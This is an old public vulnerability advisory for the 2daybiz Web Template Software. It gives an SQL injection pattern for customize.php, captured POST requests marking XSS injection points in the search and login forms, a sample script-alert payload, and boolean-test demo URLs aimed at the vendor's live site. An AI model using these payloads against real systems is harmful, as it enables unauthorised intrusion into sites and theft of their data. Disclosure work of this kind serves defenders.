2daybiz Web Template Software Cross Site Scripting / SQL Injection

`$-------------------------------------------------------------------------------------------------------------------  
$ 2daybiz - The Web Template Software SQL and XSS vulnerability  
$ Author : Sangteamtham   
$ Home : Hcegroup.net   
$ Download :http://www.2daybiz.com/webtemplatesoftware.html   
$ Date :06/24/2010  
$ Email :[email protected]  
$   
$******************************************************************************************  
  
1.SQL injection  
http://server/customize.php?tid=[id]+[SQL]  
  
2.XSS  
  
2.a : search products module  
  
Here is my header:  
  
http://www.2daytemplates.com/category.php  
  
POST /category.php HTTP/1.1  
Host: www.2daytemplates.com  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Connection: keep-alive  
Referer: http://www.2daytemplates.com/category.php  
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 168  
category=0&product=0&keyword=[XSS here]&itemno=ssss&templates_per_page=9&search=Search   
  
2.b: Login module  
  
http://www.2daytemplates.com/memberlogin.php  
  
POST /memberlogin.php HTTP/1.1  
Host: www.2daytemplates.com  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Connection: keep-alive  
Referer: http://www.2daytemplates.com/memberlogin.php  
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 157  
email=sangteamtham_hce%40ymail.com&password=[XSS Here]opage=&Submit=Login  
  
XSS here such as:  
">"><script>alert(String.fromCharCode(88, 83, 83));</script>  
  
$******************************************************************************************  
$Demo:  
$ http://www.2daytemplates.com/customize.php?tid=1314+and+1=1--  
$ http://www.2daytemplates.com/customize.php?tid=1314+and+1=0--  
$  
$  
$  
$******************************************************************************************  
$ Greetz to: All Vietnamese hackers and Hackers out there researching for more security  
$  
$  
$--------------------------------------------------------------------------------------------------------------------  
  
`